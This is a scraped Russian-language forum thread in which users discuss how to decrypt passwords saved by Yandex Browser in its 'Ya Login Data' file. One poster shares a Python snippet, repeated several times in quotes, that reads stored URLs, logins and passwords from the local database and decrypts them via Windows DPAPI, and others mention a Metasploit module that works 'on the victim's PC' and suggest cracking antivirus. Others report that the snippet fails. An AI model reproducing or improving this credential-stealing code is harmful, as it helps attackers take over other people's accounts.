Не понял вопроса.Из куков?
Или из Яндекс.Браузера?
Принять ислам. Вроде никак нельзяНе понял вопроса.
В Ya Login Data хранятся все пароли, которые сохранил пользователь, но браузер их шифрует, мне нужно расшифровать их.
ну браузер же как то шифрует и расшифровывает = можно расшифровать, только хзкакПринять ислам. Вроде никак нельзя
их можно расшифровать только на пк где их зашифровали.Как расшифровать пароли от Yandex? Из файла Ya Login Data.
Мастер-ключ рандомный и хранится на пк (где не ебу, толи привязан к профилю пользователя windows, толи как-то ещё). В metasploit’e есть модуль для стилла и дешифровки паролей хрома (яндекс = хромиум), но работает он только на пк жертвы.ну браузер же как то шифрует и расшифровывает = можно расшифровать, только хзкак
Можно все.Вроде никак нельзя
Я и задал вопрос, как?расшифровывать их
Что бы получить мастер-ключ, надо вроде бы ввести пароль от юзера, так что наверное да.толи привязан к профилю пользователя windows
Яндекс = хромиум, Яндекс != хром.хрома (яндекс = хромиум)
Это не проблема, вопрос остается таким же.но работает он только на пк жертвы
datastr = 'Passwords:\n'
conn = sqlite3.connect(os.getenv("LOCALAPPDATA") + '\\Yandex\\YandexBrowser\\User Data\\Default\\Ya Login Data.db')
cursor = conn.cursor()
cursor.execute('SELECT action_url, username_value, password_value FROM logins')
for result in cursor.fetchall():
password = win32crypt.CryptUnprotectData(result[2])[1].decode()
login = result[1]
url = result[0]
if password != '':
datastr += url + ' | ' + login + ' | ' + password + '\n'
кто то ещё пользуется питоном?Не уверен, что это всё ещё работает, но вот тебе PoC на питоне
Python:datastr = 'Passwords:\n' conn = sqlite3.connect(os.getenv("LOCALAPPDATA") + '\\Yandex\\YandexBrowser\\User Data\\Default\\Ya Login Data.db') cursor = conn.cursor() cursor.execute('SELECT action_url, username_value, password_value FROM logins') for result in cursor.fetchall(): password = win32crypt.CryptUnprotectData(result[2])[1].decode() login = result[1] url = result[0] if password != '': datastr += url + ' | ' + login + ' | ' + password + '\n'
Не работает, или я идиот, который не пишет на python.Не уверен, что это всё ещё работает, но вот тебе PoC на питоне
Python:datastr = 'Passwords:\n' conn = sqlite3.connect(os.getenv("LOCALAPPDATA") + '\\Yandex\\YandexBrowser\\User Data\\Default\\Ya Login Data.db') cursor = conn.cursor() cursor.execute('SELECT action_url, username_value, password_value FROM logins') for result in cursor.fetchall(): password = win32crypt.CryptUnprotectData(result[2])[1].decode() login = result[1] url = result[0] if password != '': datastr += url + ' | ' + login + ' | ' + password + '\n'
судя по ошибке - второеНе работает, или я идиот, который не пишет на python.
Посмотреть вложение 68193
пардон, ошибка не твоя, через эту либу расшифровать пароли не получится даже у хрома, нужен другой метод.Не работает, или я идиот, который не пишет на python.
Посмотреть вложение 68193
пардон, ошибка не твоя, через эту либу расшифровать пароли не получится даже у хрома, нужен другой метод.
Проще ав крякнутьКак расшифровать пароли от Yandex? Из файла Ya Login Data.
Проект предоставляет различный материал, относящийся к сфере киберспорта, программирования, ПО для игр, а также позволяет его участникам общаться на многие другие темы. Почта для жалоб: admin@yougame.biz